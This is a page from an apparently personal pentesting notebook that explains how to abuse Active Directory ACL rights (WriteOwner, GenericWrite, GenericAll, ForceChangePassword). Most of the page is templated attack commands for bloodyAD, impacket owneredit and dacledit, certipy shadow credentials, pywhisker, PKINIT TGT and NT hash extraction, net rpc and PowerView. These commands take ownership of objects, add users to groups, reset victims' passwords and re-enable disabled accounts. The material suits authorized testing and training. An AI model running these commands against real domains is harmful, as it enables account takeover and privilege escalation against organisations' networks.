Rednote
GuidebooksTerminalCode
  • Welcome!
  • Utility
    • General
    • Server
    • Transferring File
      • Main
      • Code
      • Miscellaneous
    • Reverse & Bind Shells
      • Havoc
    • Metasploit
    • Service
      • FTP (21)
      • SSH (22)
      • DNS (53)
      • HTTP/HTTPS (80-443)
      • SMTP (25-465-587)
      • POP3 (110-995)
      • IMAP (143-993)
      • MySQL (3306)
      • MSSQL (1433-2433)
      • SMB (139-445)
      • RDP (3389)
      • WinRM (5985-5986)
      • WMI (135)
      • LLMNR & NBT-NS (5355-137)
      • NFS (111-2049)
      • SNMP (161-162)
      • VNC (5900)
      • Rsync (873)
      • R-Service (512-513-514)
      • IPMI (623)
      • Oracle TNS (1521)
  • Pentesting Process
    • Information Gathering
      • Passive
      • Active
      • OSINT
    • Vulnerability
    • Web Attacks
      • GENERAL
      • Crawling/Spidering & Fuzzing
      • Information Disclosure
      • Command Injection
      • Unrestricted File Upload
      • File Inclusion/Path Traversal
      • Request Smuggling
      • Clickjacking
      • Web Cache Poisoning
      • Web Cache Deception
      • Insecure Deserialization
      • Prototype Pollution
      • OAuth 2.0
      • JWT
      • SQLi
        • sqlmap
      • NoSQLi
      • GraphQL
      • XSS
      • SSRF
      • XXE
      • IDOR
      • API
      • SSTI
      • CSRF
      • CORS
      • AJP
      • SSI
      • ESI
      • XSLT
      • Cloud
      • LLM Prompt Security
    • Software Attacks
      • Binary
      • Shellcode
      • AV Evasion & Obfuscation
    • Network Attacks
      • ARP Poisoning
      • Local DNS Cache Poisoning
      • Baby Local DoS
    • Crypto Attacks
      • Utility
      • RSA
      • DSA/DSS
      • PRNG
        • LGC
        • MT
        • LFSR
    • Misc Attacks
    • Social Engineering
    • Password Cracking
      • Wordlist
      • Offline
      • Online
    • Pivoting & Tunneling
    • Local Enumeration
      • Linux
      • Windows
    • Privilege Escalation
      • Linux
        • Linux Privilege Escalation with Groups
        • Linux Privilege Escalation with Library
      • Windows
        • Windows Privilege Escalation with Groups and Privileges
        • Windows Privilege Escalation with DLL Hijacking
    • Active Directory
      • Enumeration
      • Abuse ACL
      • Extract Hash & Password
      • Pass The Hash
      • Pass The Ticket
      • Overpass the Hash
      • Relay Attack
      • Password Spraying Attack
      • AS-REP Roasting
      • Kerberoasting
      • Silver Ticket
      • Golden Ticket
      • DC Synchronization
      • AD Certificates
      • Attacking Domain Trusts
    • Reports
      • Bug Bounty Report
    • CVE
      • Linux
      • Windows
    • OTHER
      • CMS
        • WordPress
        • Joomla
        • Drupal
      • Tomcat
      • Jenkins
      • Splunk
      • Web Service
      • Navigating Python Objects
      • JavaScript Deobfuscation
  • Extra
    • My Books
    • My Exploits
    • Compiled Binaries
Powered by GitBook
On this page
  • WriteOwner
  • GenericWrite
  • GenericAll
  • GenericAll to a user
  • GenericAll to a group
  • ForceChangePassword
  • Targeted Kerberoasting
  • Note

Was this helpful?

  1. Pentesting Process
  2. Active Directory

Abuse ACL

Abuse Access Control List (ACL), attacks on paths shown by bloodhound.

Last updated 8 days ago

Was this helpful?

WriteOwner

The WriteOwner permission is a special ACE that lets a user change the ownership of an object. If the WriteOwner permission granted on an object, we can change the owner of that object to ourselves or another account we control. Once compromised, we gain full control over the object, allowing us to: Modify permissions to grant ourselves additional privileges. Change sensitive properties like resetting the account's password. In an attack scenario, an attacker with WriteOwner on a user account (such as a privileged account) can take ownership of that account, reset its password, and effectively take over the account to escalate privileges.

owneredit.py -dc-ip <DC> -action write -new-owner <USER> -target '<TARGET/OBJECT>' <DOMAIN>/<USER>:<PASS>
bloodyAD --host <DC> -d <DOMAIN> -u <USER> -p <PASS> set owner <TARGET/OBJECT> <USER>
dacledit.py -action 'write' -rights 'WriteMembers' -principal <USER> -target-dn '<groupDistinguidedName>' <DOMAIN>/<USER>:<PASS> -dc-ip <DC>
# dacledit.py 'AAA.BBB'/'alex':'mypass' -action write -rights WriteMembers -principal 'alex' -target-dn 'CN=MANAGEMENT,CN=USERS,DC=AAAA,DC=BBB' -dc-ip 0.0.0.0

This step effectively allows us to be granted with any privileges or access rights associated with the target group.

Finally, you can add members to the group

net rpc group addmem <TargetGroup> <USER> -U <DOMAIN>/<USER>%<PASS> -S <DC>

and verify that the user was successfully added to the group

net rpc group members <TargetGroup> -U <DOMAIN>/<USER>%<PASS> -S <DC>

Alternatively, we can use genericAll permissions to change the user's password.

bloodyAD --host <DC> -d <DOMAIN> -u <USER> -p <PASS> set owner '<VICTIM>' '<ATTACKER>'
bloodyAD --host <DC> -d <DOMAIN> -u <USER> -p <PASS> add genericAll '<VICTIM>' '<ATTACKER>'
bloodyAD --host <DC> -d <DOMAIN> -u <USER> -p <PASS> set password '<VICTIM>' '<NEW_PASSWORD>'

GenericWrite

Generic Write access grants you the ability to write to any non-protected attribute on the target object, including "members" for a group, and "serviceprincipalnames" for a user.

Remotely 1

certipy shadow auto -username <USER>@<DOMAIN> -p <PASS> -account <TARGET_ACCOUNT> -dc-ip <DC>
certipy shadow auto -username <USER>@<DOMAIN> -hashes <HASH> -account <TARGET_ACCOUNT> -dc-ip <DC>

Remotely 2

pywhisker.py -d <DOMAIN> -u <USER> -p <PASS> --target <TARGET_ACCOUNT> --action "add" --dc-ip <DC>
# take note of password

Synchronize time with domain controller with ntpdate or rdate.

sudo ntpdate <IP_DC>
gettgtpkinit.py <DOMAIN>/<TARGET_ACCOUNT> -cert-pfx <PFX_FILE> -pfx-pass <PFX_PASS> -dc-ip <DC> <NAME_OUTPUT>
# take note of key
export KRB5CCNAME=<NAME_OUTPUT>
getnthash.py -key <KEY> -dc-ip <IP> <DOMAIN>/<TARGET_ACCOUNT>
$SecPassword = ConvertTo-SecureString '<PASSWORD>' -AsPlainText -Force
$Cred = New-Object System.Management.Automation.PSCredential('<DOMAIN>\<USER>', $SecPassword)
$newPassword = ConvertTo-SecureString '<NEW_PASSWORD>' -AsPlainText -Force
Import-Module .\PowerView.ps1
Set-DomainUserPassword -Identity <TARGET_USER> -AccountPassword $newPassword -Credential $Cred -Verbose

GenericAll

GenericAll to a user

Allows us to modify properties and have control of a user. We can reset the password of the user without knowing their current one.

net rpc password <TAGET> <NEW_PASS> -U <DOMAIN>/<USER>%<PASS> -S <DC>
bloodyAD --host <IP> -d <DOMAIN> -u <USER> -p <PASS or :HASH> set password "<TARGET>" "<NEW-PASS>"

GenericAll to a group

Allows us to add members to that group.

net rpc group addmem "<GROUP>" "<UserTarget>" <DOMAIN>/<USER>%<PASS> -S <DC>
bloodyAD --host <IP> -d <DOMAIN> -u <USER> -p <PASS or :HASH> add groupMember "<GROUP>" "<UserTarget>"
Net group "<GROUP>" <USER> /add /domain
$SecPassword = ConvertTo-SecureString '<PASSWORD>' -AsPlainText -Force
$Cred = New-Object System.Management.Automation.PSCredential('<DOMAIN>\<USER>', $SecPassword)
Import-Module .\PowerView.ps1
Add-DomainGroupMember -Identity '<GROUP>' -Members '<TARGET>' -Credential $Cred -Verbose

Check

Get-DomainGroupMember -Identity "<GROUP>" | Select MemberName

ForceChangePassword

net rpc password <TAGET> <NEW_PASS> -U <DOMAIN>/<USER>%<PASS> -S <DC>
bloodyAD --host <IP> -d <DOMAIN> -u <USER> -p <PASS or :HASH> set password "<TARGET>" "<NEW-PASS>"

With GenericAll, GenericWrite, WriteProperty or Validated-SPN.

Note

sudo timedatectl set-ntp false                                                                           
sudo ntpdate <IP>
bloodyAD --host <IP> -d <DOMAIN> -u <USER> -p <PASS> get object "<ex.USER>"
# ...
# userAccountControl: ACCOUNTDISABLE; NORMAL_ACCOUNT        (value:2)
bloodyAD --host <IP> -d <DOMAIN> -u <USER> -p <PASS> set object "<ex.USER>" userAccountControl -v '512' -h
# ...
# userAccountControl: NORMAL_ACCOUNT

With

Or with

Now, to abuse ownership of a group object, we can modifying the rights with . Give user WriteMembers permissions (allows user to add or remove members in the target group)

With

By abusing GenericWrite permissions, we added with a certificate to the target account as an alternative authentication method.

This certificate can then be used with to request a Kerberos TGT as target, giving control over that account.

Get hash of tgt with

with PowerView ( and )

Or with (PtH)

Or with (PtH)

with PowerView ( and )

Or with (PtH)

Modify Attribute with .

impacket-owneredit
bloodyAD
impacket-dacledit
Certipy
pyWhisker
gettgtpkinit
getnthash
old
new
bloodyAD
bloodyAD
old
new
bloodyAD
Targeted Kerberoasting
bloodyAD
From HTB